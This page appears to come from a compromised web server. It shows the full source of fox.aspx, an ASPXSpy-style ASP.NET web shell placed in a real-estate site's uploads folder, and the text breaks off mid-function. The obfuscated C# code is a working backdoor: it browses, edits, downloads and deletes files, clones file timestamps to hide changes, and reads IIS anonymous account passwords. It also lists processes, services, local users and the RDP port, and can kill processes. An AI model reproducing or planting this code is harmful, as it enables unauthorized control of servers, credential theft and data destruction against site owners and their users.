? GR0V Shell

GR0V shell


Path : D:/Inetpub/vhosts/djrealtors.com/uploads/
File Upload :
Current File : D:/Inetpub/vhosts/djrealtors.com/uploads/fox.aspx

<%@ Page Language="C#" Debug="true" Trace="false" ValidateRequest="false" EnableViewStateMac="false"
    EnableViewState="true" %>

<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Management" %>
<%@ Import Namespace="System.Data.OleDb" %>
<%@ Import Namespace="Microsoft.Win32" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.DirectoryServices" %>
<%@ Import Namespace="System.ServiceProcess" %>
<%@ Import Namespace="System.Text.RegularExpressions" %>
<%@ Import Namespace="System.Threading" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<%@ Import Namespace="Microsoft.VisualBasic" %>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server">
    public string Password = "2b95d1f09b8b66c5c43622a4d9ec9a04";//fox
    public string vbhLn = "ASPXSpy";
    public int TdgGU = 1;
    protected OleDbConnection Dtdr = new OleDbConnection();
    protected OleDbCommand Kkvb = new OleDbCommand();
    public NetworkStream NS = null;
    public NetworkStream NS1 = null;
    TcpClient tcp = new TcpClient();
    TcpClient zvxm = new TcpClient();
    ArrayList IVc = new ArrayList();
    protected void Page_load(object sender, EventArgs e)
    {
        YFcNP(this);
        fhAEn();
        if (!pdo())
        {
            return;
        }
        if (IsPostBack)
        {
            string tkI = Request["__EVENTTARGET"];
            string VqV = Request["__File"];
            if (tkI != "")
            {
                switch (tkI)
                {
                    case "Bin_Parent":
                        krIR(Ebgw(VqV));
                        break;
                    case "Bin_Listdir":
                        krIR(Ebgw(VqV));
                        break;
                    case "kRXgt":
                        kRXgt(Ebgw(VqV));
                        break;
                    case "Bin_Createfile":
                        gLKc(VqV);
                        break;
                    case "Bin_Editfile":
                        gLKc(VqV);
                        break;
                    case "Bin_Createdir":
                        stNPw(VqV);
                        break;
                    case "cYAl":
                        cYAl(VqV);
                        break;
                    case "ksGR":
                        ksGR(Ebgw(VqV));
                        break;
                    case "SJv":
                        SJv(VqV);
                        break;
                    case "Bin_Regread":
                        tpRQ(Ebgw(VqV));
                        break;
                    case "hae":
                        hae();
                        break;
                    case "urJG":
                        urJG(VqV);
                        break;
                }
                if (tkI.StartsWith("dAJTD"))
                {
                    dAJTD(Ebgw(tkI.Replace("dAJTD", "")), VqV);
                }
                else if (tkI.StartsWith("Tlvz"))
                {
                    Tlvz(Ebgw(tkI.Replace("Tlvz", "")), VqV);
                }
                else if (tkI.StartsWith("Bin_CFile"))
                {
                    YByN(Ebgw(tkI.Replace("Bin_CFile", "")), VqV);
                }
            }
        }
        else
        {
            PBZw();
        }
    }
    public bool pdo()
    {
        if (Request.Cookies[vbhLn] == null)
        {
            tZSx();
            return false;
        }
        else
        {
            if (Request.Cookies[vbhLn].Value != Password)
            {
                tZSx();
                return false;
            }
            else
            {
                return true;
            }
        }
    }
    public void tZSx()
    {
        ljtzC.Visible = true;
        ZVS.Visible = false;
    }
    protected void YKpI(object sender, EventArgs e)
    {
        Session.Abandon();
        Response.Cookies.Add(new HttpCookie(vbhLn, null));
        tZSx();
    }
    public void PBZw()
    {
        ZVS.Visible = true;
        ljtzC.Visible = false;
        Bin_Button_CreateFile.Attributes["onClick"] = "var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
        Bin_Button_CreateDir.Attributes["onClick"] = "var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
        Bin_Button_KillMe.Attributes["onClick"] = "if(confirm('确定要自杀?')){Bin_PostBack('hae','');};";
        Bin_Span_Sname.InnerHtml = Request.ServerVariables["LOCAL_ADDR"] + ":" + Request.ServerVariables["SERVER_PORT"] + "(" + Request.ServerVariables["SERVER_NAME"] + ")";
        Bin_Span_FrameVersion.InnerHtml = "Framework Ver : " + Environment.Version.ToString();
        if (AXSbb.Value == string.Empty)
        {
            AXSbb.Value = OElM(Server.MapPath("."));
        }
        Bin_H2_Title.InnerText = "文件(夹)管理 >>";
        krIR(AXSbb.Value);
    }
    public void fhAEn()
    {
        try
        {
            string[] YRgt = Directory.GetLogicalDrives();
            for (int i = 0; i < YRgt.Length; i++)
            {
                Control c = ParseControl(" <asp:LinkButton Text='" + mFvj(YRgt[i]) + "' ID=\"Bin_Button_Driv" + i + "\" runat='server' commandargument= '" + YRgt[i] + "'/> | ");
                Bin_Span_Drv.Controls.Add(c);
                LinkButton nxeDR = (LinkButton)Page.FindControl("Bin_Button_Driv" + i);
                nxeDR.Command += new CommandEventHandler(this.iVk);
            }
        }
        catch (Exception ex) { }
    }
    public string OElM(string path)
    {
        if (path.Substring(path.Length - 1, 1) != @"\")
        {
            path = path + @"\";
        }
        return path;
    }
    public string nrrx(string path)
    {
        char[] trim ={ '\\' };
        if (path.Substring(path.Length - 1, 1) == @"\")
        {
            path = path.TrimEnd(trim);
        }
        return path;
    }
    [DllImport("kernel32.dll", EntryPoint = "GetDriveTypeA")]
    public static extern int OMZP(string nDrive);
    public string mFvj(string instr)
    {
        string EuXD = string.Empty;
        int num = OMZP(instr);
        switch (num)
        {
            case 1:
                EuXD = "Unknow(" + instr + ")";
                break;
            case 2:
                EuXD = "Removable(" + instr + ")";
                break;
            case 3:
                EuXD = "磁盘(" + instr + ")";
                break;
            case 4:
                EuXD = "Network(" + instr + ")";
                break;
            case 5:
                EuXD = "CDRom(" + instr + ")";
                break;
            case 6:
                EuXD = "RAM Disk(" + instr + ")";
                break;
        }
        return EuXD.Replace(@"\", "");
    }
    public string MVVJ(string instr)
    {
        byte[] tmp = Encoding.Default.GetBytes(instr);
        return Convert.ToBase64String(tmp);
    }
    public string Ebgw(string instr)
    {
        byte[] tmp = Convert.FromBase64String(instr);
        return Encoding.Default.GetString(tmp);
    }
    public void krIR(string path)
    {
        WICxe();
        CzfO.Visible = true;
        Bin_H2_Title.InnerText = "文件(夹)管理 >>";
        AXSbb.Value = OElM(path);
        DirectoryInfo GQMM = new DirectoryInfo(path);
        if (Directory.GetParent(nrrx(path)) != null)
        {
            string bg = OKM();
            TableRow p = new TableRow();
            for (int i = 1; i < 6; i++)
            {
                TableCell pc = new TableCell();
                if (i == 1)
                {
                    pc.Width = Unit.Parse("2%");
                    pc.Text = "<font face='wingdings' size='4'>0</font>";
                    p.CssClass = bg;
                }
                if (i == 2)
                {
                    pc.Text = "<a href=\"javascript:Bin_PostBack('Bin_Parent','" + MVVJ(Directory.GetParent(nrrx(path)).ToString()) + "')\">Parent Directory</a>";
                }
                p.Cells.Add(pc);
                UGzP.Rows.Add(p);
            }
        }
        try
        {
            int vLlH = 0;
            foreach (DirectoryInfo Bin_folder in GQMM.GetDirectories())
            {
                string bg = OKM();
                vLlH++;
                TableRow tr = new TableRow();
                TableCell tc = new TableCell();
                tc.Width = Unit.Parse("2%");
                tc.Text = "<font face='wingdings' size='4'>0</font>";
                tr.Attributes["onmouseover"] = "this.className='focus';";
                tr.CssClass = bg;
                tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
                tr.Cells.Add(tc);
                TableCell HczyN = new TableCell();
                HczyN.Text = "<a href=\"javascript:Bin_PostBack('Bin_Listdir','" + MVVJ(AXSbb.Value + Bin_folder.Name) + "')\">" + Bin_folder.Name + "</a>";
                tr.Cells.Add(HczyN);
                TableCell LYZK = new TableCell();
                LYZK.Text = Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
                tr.Cells.Add(LYZK);
                UGzP.Rows.Add(tr);
                TableCell ERUL = new TableCell();
                ERUL.Text = "--";
                tr.Cells.Add(ERUL);
                UGzP.Rows.Add(tr);
                TableCell ZGKh = new TableCell();
                ZGKh.Text = "<a href=\"javascript:if(confirm('确定要删除此文件(夹) ?')){Bin_PostBack('kRXgt','" + MVVJ(AXSbb.Value + Bin_folder.Name) + "')};\">删除</a> | <a href='#' onclick=\"var filename=prompt('请输入文件夹名称:','" + AXSbb.Value.Replace(@"\", @"\\") + Bin_folder.Name.Replace("'", "\\'") + "');if(filename){Bin_PostBack('dAJTD" + MVVJ(AXSbb.Value + Bin_folder.Name) + "',filename);} \">重命名</a>";
                tr.Cells.Add(ZGKh);
                UGzP.Rows.Add(tr);
            }
            TableRow cKVA = new TableRow();
            cKVA.Attributes["style"] = "border-top:1px solid #fff;border-bottom:1px solid #ddd;";
            cKVA.Attributes["bgcolor"] = "#dddddd";
            TableCell JlmW = new TableCell();
            JlmW.Attributes["colspan"] = "6";
            JlmW.Attributes["height"] = "5";
            cKVA.Cells.Add(JlmW);
            UGzP.Rows.Add(cKVA);
            int aYRwo = 0;
            foreach (FileInfo Bin_Files in GQMM.GetFiles())
            {
                aYRwo++;
                string gb = OKM();
                TableRow tr = new TableRow();
                TableCell tc = new TableCell();
                tc.Width = Unit.Parse("2%");
                tc.Text = "<input type=\"checkbox\" value=\"0\" name=\"" + MVVJ(Bin_Files.Name) + "\">";
                tr.Attributes["onmouseover"] = "this.className='focus';";
                tr.CssClass = gb;
                tr.Attributes["onmouseout"] = "this.className='" + gb + "';";
                tr.Cells.Add(tc);
                TableCell filename = new TableCell();
                if (Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
                {
                    string url = Request.Url.ToString();
                    filename.Text = "<a href=\"" + Bin_Files.FullName.Replace(Request.PhysicalApplicationPath, url.Substring(0, url.IndexOf('/', 8) + 1)).Replace("\\", "/") + "\" target=\"_blank\">" + Bin_Files.Name + "</a>";
                }
                else
                {
                    filename.Text = Bin_Files.Name;
                }
                TableCell albt = new TableCell();
                albt.Text = Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
                TableCell YzK = new TableCell();
                YzK.Text = mTG(Bin_Files.Length);
                TableCell GLpi = new TableCell();
                GLpi.Text = "<a href=\"#\" onclick=\"Bin_PostBack('ksGR','" + MVVJ(AXSbb.Value + Bin_Files.Name) + "')\">下载</a> | <a href='#' onclick=\"var filename=prompt('请输入新的文件名:','" + AXSbb.Value.Replace(@"\", @"\\") + Bin_Files.Name.Replace("'", "\\'") + "');if(filename){Bin_PostBack('Bin_CFile" + MVVJ(AXSbb.Value + Bin_Files.Name) + "',filename);} \">复制</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','" + Bin_Files.Name + "')\">编辑</a> | <a href='#' onclick=\"var filename=prompt('请输入新的文件名:','" + AXSbb.Value.Replace(@"\", @"\\") + Bin_Files.Name.Replace("'", "\\'") + "');if(filename){Bin_PostBack('Tlvz" + MVVJ(AXSbb.Value + Bin_Files.Name) + "',filename);} \">重命名</a> | <a href=\"#\" onclick=\"Bin_PostBack('cYAl','" + Bin_Files.Name + "')\">修改文件属性</a> ";
                tr.Cells.Add(filename);
                tr.Cells.Add(albt);
                tr.Cells.Add(YzK);
                tr.Cells.Add(GLpi);
                UGzP.Rows.Add(tr);
            }
            string lgb = OKM();
            TableRow oWam = new TableRow();
            oWam.CssClass = lgb;
            for (int i = 1; i < 4; i++)
            {
                TableCell lGV = new TableCell();
                if (i == 1)
                {
                    lGV.Text = "<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
                }
                if (i == 2)
                {
                    lGV.Text = "<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('SJv',d_file)};}\">Delete selected</a>";
                }
                if (i == 3)
                {
                    lGV.ColumnSpan = 4;
                    lGV.Style.Add("text-align", "right");
                    lGV.Text = vLlH + " 文件夹/ " + aYRwo + " 文件";
                }
                oWam.Cells.Add(lGV);
            }
            UGzP.Rows.Add(oWam);
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
    }
    public string OKM()
    {
        TdgGU++;
        if (TdgGU % 2 == 0)
        {
            return "alt1";
        }
        else
        {
            return "alt2";
        }
    }
    public void kRXgt(string qcKu)
    {
        try
        {
            Directory.Delete(qcKu, true);
            xseuB("Directory delete new success !");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(Directory.GetParent(qcKu).ToString());
    }
    public void dAJTD(string sdir, string ddir)
    {
        try
        {
            Directory.Move(sdir, ddir);
            xseuB("Directory Renamed Success !");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(AXSbb.Value);
    }
    public void Tlvz(string sfile, string dfile)
    {
        try
        {
            File.Move(sfile, dfile);
            xseuB("File Renamed Success !");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(AXSbb.Value);
    }
    public void YByN(string spath, string dpath)
    {
        try
        {
            File.Copy(spath, dpath);
            xseuB("File Copy Success !");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(AXSbb.Value);
    }
    public void stNPw(string path)
    {
        try
        {
            Directory.CreateDirectory(AXSbb.Value + path);
            xseuB("Directory created success !");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(AXSbb.Value);
    }
    public void gLKc(string path)
    {
        if (Request["__EVENTTARGET"] == "Bin_Editfile" || Request["__EVENTTARGET"] == "Bin_Createfile")
        {
            foreach (ListItem item in NdCX.Items)
            {
                if (item.Selected == true)
                {
                    item.Selected = false;
                }
            }
        }
        Bin_H2_Title.InnerHtml = "创建/编辑文件 >>";
        WICxe();
        vrFA.Visible = true;
        if (path.IndexOf(":") < 0)
        {
            Sqon.Value = AXSbb.Value + path;
        }
        else
        {
            Sqon.Value = path;
        }
        if (File.Exists(Sqon.Value))
        {
            StreamReader sr;
            if (NdCX.SelectedItem.Text == "UTF-8")
            {
                sr = new StreamReader(Sqon.Value, Encoding.UTF8);
            }
            else
            {
                sr = new StreamReader(Sqon.Value, Encoding.Default);
            }
            Xgvv.InnerText = sr.ReadToEnd();
            sr.Close();
        }
        else
        {
            Xgvv.InnerText = string.Empty;
        }
    }
    public void ksGR(string path)
    {
        FileInfo fs = new FileInfo(path);
        Response.Clear();
        Page.Response.ClearHeaders();
        Page.Response.Buffer = false;
        this.EnableViewState = false;
        Response.AddHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlEncode(fs.Name, System.Text.Encoding.UTF8));
        Response.AddHeader("Content-Length", fs.Length.ToString());
        Page.Response.ContentType = "application/unknown";
        Response.WriteFile(fs.FullName);
        Page.Response.Flush();
        Page.Response.Close();
        Response.End();
        Page.Response.Clear();
    }
    public void SJv(string path)
    {
        try
        {
            string[] spdT = path.Split(',');
            for (int i = 0; i < spdT.Length - 1; i++)
            {
                File.Delete(AXSbb.Value + Ebgw(spdT[i]));
            }
            xseuB("File Delete Success !");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(AXSbb.Value);
    }
    public void hae()
    {
        try
        {
            File.Delete(Request.PhysicalPath);

        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
    }
    public void cYAl(string path)
    {
        Bin_H2_Title.InnerHtml = "克隆文件的最后修改时间 >>";
        WICxe();
        zRyG.Visible = true;
        QiFB.Value = AXSbb.Value + path;
        lICp.Value = AXSbb.Value;
        pWVL.Value = AXSbb.Value + path;
        string Att = File.GetAttributes(QiFB.Value).ToString();
        if (Att.LastIndexOf("ReadOnly") != -1)
        {
            ZhWSK.Checked = true;
        }
        if (Att.LastIndexOf("System") != -1)
        {
            SsR.Checked = true;
        }
        if (Att.LastIndexOf("Hidden") != -1)
        {
            ccB.Checked = true;
        }
        if (Att.LastIndexOf("Archive") != -1)
        {
            fbyZ.Checked = true;
        }
        yUqx.Value = File.GetCreationTimeUtc(pWVL.Value).ToString();
        uYjw.Value = File.GetLastWriteTimeUtc(pWVL.Value).ToString();
        aLsn.Value = File.GetLastAccessTimeUtc(pWVL.Value).ToString();
    }
    public static String mTG(Int64 fileSize)
    {
        if (fileSize < 0)
        {
            throw new ArgumentOutOfRangeException("fileSize");
        }
        else if (fileSize >= 1024 * 1024 * 1024)
        {
            return string.Format("{0:########0.00} G", ((Double)fileSize) / (1024 * 1024 * 1024));
        }
        else if (fileSize >= 1024 * 1024)
        {
            return string.Format("{0:####0.00} M", ((Double)fileSize) / (1024 * 1024));
        }
        else if (fileSize >= 1024)
        {
            return string.Format("{0:####0.00} K", ((Double)fileSize) / 1024);
        }
        else
        {
            return string.Format("{0} B", fileSize);
        }
    }
    private bool SGde(string sSrc)
    {
        Regex reg = new Regex(@"^0|[0-9]*[1-9][0-9]*$");
        if (reg.IsMatch(sSrc))
        {
            return true;
        }
        else
        {
            return false;
        }
    }
    public void AdCx()
    {
        string qcKu = string.Empty;
        string mWGEm = "IIS://localhost/W3SVC";
        GlI.Style.Add("word-break", "break-all");
        try
        {
            DirectoryEntry HHzcY = new DirectoryEntry(mWGEm);
            int fmW = 0;
            foreach (DirectoryEntry child in HHzcY.Children)
            {
                if (SGde(child.Name.ToString()))
                {
                    fmW++;
                    DirectoryEntry newdir = new DirectoryEntry(mWGEm + "/" + child.Name.ToString());
                    DirectoryEntry HlyU = newdir.Children.Find("root", "IIsWebVirtualDir");
                    string bg = OKM();
                    TableRow TR = new TableRow();
                    TR.Attributes["onmouseover"] = "this.className='focus';";
                    TR.CssClass = bg;
                    TR.Attributes["onmouseout"] = "this.className='" + bg + "';";
                    TR.Attributes["title"] = "Site:" + child.Properties["ServerComment"].Value.ToString();
                    for (int i = 1; i < 6; i++)
                    {
                        try
                        {
                            TableCell tfit = new TableCell();
                            switch (i)
                            {
                                case 1:
                                    tfit.Text = fmW.ToString();
                                    break;
                                case 2:
                                    tfit.Text = HlyU.Properties["AnonymousUserName"].Value.ToString();
                                    break;
                                case 3:
                                    tfit.Text = HlyU.Properties["AnonymousUserPass"].Value.ToString();
                                    break;
                                case 4:
                                    StringBuilder sb = new StringBuilder();
                                    PropertyValueCollection pc = child.Properties["ServerBindings"];
                                    for (int j = 0; j < pc.Count; j++)
                                    {
                                        sb.Append(pc[j].ToString() + "<br>");
                                    }
                                    tfit.Text = sb.ToString().Substring(0, sb.ToString().Length - 4);
                                    break;
                                case 5:
                                    tfit.Text = "<a href=\"javascript:Bin_PostBack('Bin_Listdir','" + MVVJ(HlyU.Properties["Path"].Value.ToString()) + "')\">" + HlyU.Properties["Path"].Value.ToString() + "</a>";
                                    break;
                            }
                            TR.Cells.Add(tfit);
                        }
                        catch (Exception ex)
                        {
                            xseuB(ex.Message);
                            continue;
                        }
                    }
                    GlI.Controls.Add(TR);
                }
            }
        }
        catch (Exception ex)
        {
            xseuB(ex.Message);
        }
    }
    public ManagementObjectCollection PhQTd(string query)
    {
        ManagementObjectSearcher QS = new ManagementObjectSearcher(new SelectQuery(query));
        return QS.Get();
    }
    public DataTable cCf(string query)
    {
        DataTable dt = new DataTable();
        int i = 0;
        ManagementObjectSearcher QS = new ManagementObjectSearcher(new SelectQuery(query));
        try
        {
            foreach (ManagementObject m in QS.Get())
            {
                DataRow dr = dt.NewRow();
                PropertyDataCollection.PropertyDataEnumerator oEnum;
                oEnum = (m.Properties.GetEnumerator() as PropertyDataCollection.PropertyDataEnumerator);
                while (oEnum.MoveNext())
                {
                    PropertyData DRU = (PropertyData)oEnum.Current;
                    if (dt.Columns.IndexOf(DRU.Name) == -1)
                    {
                        dt.Columns.Add(DRU.Name);
                        dt.Columns[dt.Columns.Count - 1].DefaultValue = "";
                    }
                    if (m[DRU.Name] != null)
                    {
                        dr[DRU.Name] = m[DRU.Name].ToString();
                    }
                    else
                    {
                        dr[DRU.Name] = string.Empty;
                    }
                }
                dt.Rows.Add(dr);
            }
        }
        catch (Exception error)
        {
        }
        return dt;
    }
    public void YUw()
    {
        try
        {
            Bin_H2_Title.InnerText = "系统进程 >>";
            WICxe();
            DCbS.Visible = true;
            int UEbTI = 0;
            Process[] p = Process.GetProcesses();
            foreach (Process sp in p)
            {
                UEbTI++;
                string bg = OKM();
                TableRow tr = new TableRow();
                tr.Attributes["onmouseover"] = "this.className='focus';";
                tr.CssClass = bg;
                tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
                for (int i = 1; i < 7; i++)
                {
                    TableCell td = new TableCell();
                    if (i == 1)
                    {
                        td.Width = Unit.Parse("2%");
                        td.Text = UEbTI.ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 2)
                    {
                        td.Text = sp.Id.ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 3)
                    {
                        td.Text = sp.ProcessName.ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 4)
                    {
                        td.Text = sp.Threads.Count.ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 5)
                    {
                        td.Text = sp.BasePriority.ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 6)
                    {
                        td.Text = "--";
                        tr.Controls.Add(td);
                    }
                }
                IjsL.Controls.Add(tr);
            }
        }
        catch (Exception error)
        {
            AIz();
        }
        AIz();
    }
    public void AIz()
    {
        try
        {
            Bin_H2_Title.InnerText = "系统进程 >>";
            WICxe();
            DCbS.Visible = true;
            int UEbTI = 0;
            DataTable dt = cCf("Win32_Process");
            for (int j = 0; j < dt.Rows.Count; j++)
            {
                UEbTI++;
                string bg = OKM();
                TableRow tr = new TableRow();
                tr.Attributes["onmouseover"] = "this.className='focus';";
                tr.CssClass = bg;
                tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
                for (int i = 1; i < 7; i++)
                {
                    TableCell td = new TableCell();
                    if (i == 1)
                    {
                        td.Width = Unit.Parse("2%");
                        td.Text = UEbTI.ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 2)
                    {
                        td.Text = dt.Rows[j]["ProcessID"].ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 3)
                    {
                        td.Text = dt.Rows[j]["Name"].ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 4)
                    {
                        td.Text = dt.Rows[j]["ThreadCount"].ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 5)
                    {
                        td.Text = dt.Rows[j]["Priority"].ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 6)
                    {
                        if (dt.Rows[j]["CommandLine"] != string.Empty)
                        {
                            td.Text = "<a href=\"javascript:Bin_PostBack('urJG','" + dt.Rows[j]["ProcessID"].ToString() + "')\">Kill</a>";
                        }
                        else
                        {
                            td.Text = "--";
                        }
                        tr.Controls.Add(td);
                    }
                }
                IjsL.Controls.Add(tr);
            }
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
    }
    public void urJG(string pid)
    {
        try
        {
            foreach (ManagementObject p in PhQTd("Select * from Win32_Process Where ProcessID ='" + pid + "'"))
            {
                p.InvokeMethod("Terminate", null);
                p.Dispose();
            }
            xseuB("Process Kill Success !");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        AIz();
    }
    public void oHpF()
    {
        try
        {
            Bin_H2_Title.InnerText = "系统服务 >>";
            WICxe();
            iQxm.Visible = true;
            int UEbTI = 0;
            ServiceController[] kQmRu = System.ServiceProcess.ServiceController.GetServices();
            for (int i = 0; i < kQmRu.Length; i++)
            {
                UEbTI++;
                string bg = OKM();
                TableRow tr = new TableRow();
                tr.Attributes["onmouseover"] = "this.className='focus';";
                tr.CssClass = bg;
                tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
                for (int b = 1; b < 7; b++)
                {
                    TableCell td = new TableCell();
                    if (b == 1)
                    {
                        td.Width = Unit.Parse("2%");
                        td.Text = UEbTI.ToString();
                        tr.Controls.Add(td);
                    }
                    if (b == 2)
                    {
                        td.Text = "null";
                        tr.Controls.Add(td);
                    }
                    if (b == 3)
                    {
                        td.Text = kQmRu[i].ServiceName.ToString();
                        tr.Controls.Add(td);
                    }
                    if (b == 4)
                    {
                        td.Text = "";
                        tr.Controls.Add(td);
                    }
                    if (b == 5)
                    {
                        string kOIo = kQmRu[i].Status.ToString();
                        if (kOIo == "Running")
                        {
                            td.Text = "<font color=green>" + kOIo + "</font>";
                        }
                        else
                        {
                            td.Text = "<font color=red>" + kOIo + "</font>";
                        }
                        tr.Controls.Add(td);
                    }
                    if (b == 6)
                    {
                        td.Text = "";
                        tr.Controls.Add(td);
                    }
                }
                vHCs.Controls.Add(tr);
            }
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
    }
    public void tZRH()
    {
        try
        {
            Bin_H2_Title.InnerText = "系统服务 >>";
            WICxe();
            iQxm.Visible = true;
            int UEbTI = 0;
            DataTable dt = cCf("Win32_Service");
            for (int j = 0; j < dt.Rows.Count; j++)
            {
                UEbTI++;
                string bg = OKM();
                TableRow tr = new TableRow();
                tr.Attributes["onmouseover"] = "this.className='focus';";
                tr.CssClass = bg;
                tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
                tr.Attributes["title"] = dt.Rows[j]["Description"].ToString();
                for (int i = 1; i < 7; i++)
                {
                    TableCell td = new TableCell();
                    if (i == 1)
                    {
                        td.Width = Unit.Parse("2%");
                        td.Text = UEbTI.ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 2)
                    {
                        td.Text = dt.Rows[j]["ProcessID"].ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 3)
                    {
                        td.Text = dt.Rows[j]["Name"].ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 4)
                    {
                        td.Text = dt.Rows[j]["PathName"].ToString();
                        tr.Controls.Add(td);
                    }
                    if (i == 5)
                    {
                        string kOIo = dt.Rows[j]["State"].ToString();
                        if (kOIo == "Running")
                        {
                            td.Text = "<font color=green>" + kOIo + "</font>";
                        }
                        else
                        {
                            td.Text = "<font color=red>" + kOIo + "</font>";
                        }
                        tr.Controls.Add(td);
                    }
                    if (i == 6)
                    {
                        td.Text = dt.Rows[j]["StartMode"].ToString();
                        tr.Controls.Add(td);
                    }
                }
                vHCs.Controls.Add(tr);
            }
        }
        catch (Exception error)
        {
            oHpF();
        }
    }
    public void PLd()
    {
        try
        {
            WICxe();
            xWVQ.Visible = true;
            Bin_H2_Title.InnerText = "用户(组)信息 >>";
            DirectoryEntry TWQ = new DirectoryEntry("WinNT://" + Environment.MachineName.ToString());
            foreach (DirectoryEntry child in TWQ.Children)
            {
                foreach (string name in child.Properties.PropertyNames)
                {
                    PropertyValueCollection pvc = child.Properties[name];
                    int c = pvc.Count;
                    for (int i = 0; i < c; i++)
                    {
                        if (name != "objectSid" && name != "Parameters" && name != "LoginHours")
                        {
                            string bg = OKM();
                            TableRow tr = new TableRow();
                            tr.Attributes["onmouseover"] = "this.className='focus';";
                            tr.CssClass = bg;
                            tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
                            TableCell td = new TableCell();
                            td.Text = name;
                            tr.Controls.Add(td);
                            TableCell td1 = new TableCell();
                            td1.Text = pvc[i].ToString();
                            tr.Controls.Add(td1);
                            VPa.Controls.Add(tr);
                        }
                    }
                }
                TableRow trn = new TableRow();
                for (int x = 1; x < 3; x++)
                {
                    TableCell tdn = new TableCell();
                    tdn.Attributes["style"] = "height:2px;background-color:#bbbbbb;";
                    trn.Controls.Add(tdn);
                    VPa.Controls.Add(trn);
                }
            }
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
    }
    public void iLVUT()
    {
        try
        {
            WICxe();
            xWVQ.Visible = true;
            Bin_H2_Title.InnerText = "用户(组)信息 >>";
            DataTable user = cCf("Win32_UserAccount");
            for (int i = 0; i < user.Rows.Count; i++)
            {
                for (int j = 0; j < user.Columns.Count; j++)
                {
                    string bg = OKM();
                    TableRow tr = new TableRow();
                    tr.Attributes["onmouseover"] = "this.className='focus';";
                    tr.CssClass = bg;
                    tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
                    TableCell td = new TableCell();
                    td.Text = user.Columns[j].ToString();
                    tr.Controls.Add(td);
                    TableCell td1 = new TableCell();
                    td1.Text = user.Rows[i][j].ToString();
                    tr.Controls.Add(td1);
                    VPa.Controls.Add(tr);
                }
                TableRow trn = new TableRow();
                for (int x = 1; x < 3; x++)
                {
                    TableCell tdn = new TableCell();
                    tdn.Attributes["style"] = "height:2px;background-color:#bbbbbb;";
                    trn.Controls.Add(tdn);
                    VPa.Controls.Add(trn);
                }
            }
        }
        catch (Exception error)
        {
            PLd();
        }
    }
    public void pDVM()
    {
        try
        {
            RegistryKey EeZ = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
            string IKjwH = DdmPl(EeZ, "PortNumber");
            RegistryKey izN = Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
            int cpu = izN.SubKeyCount;
            RegistryKey mQII = Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\");
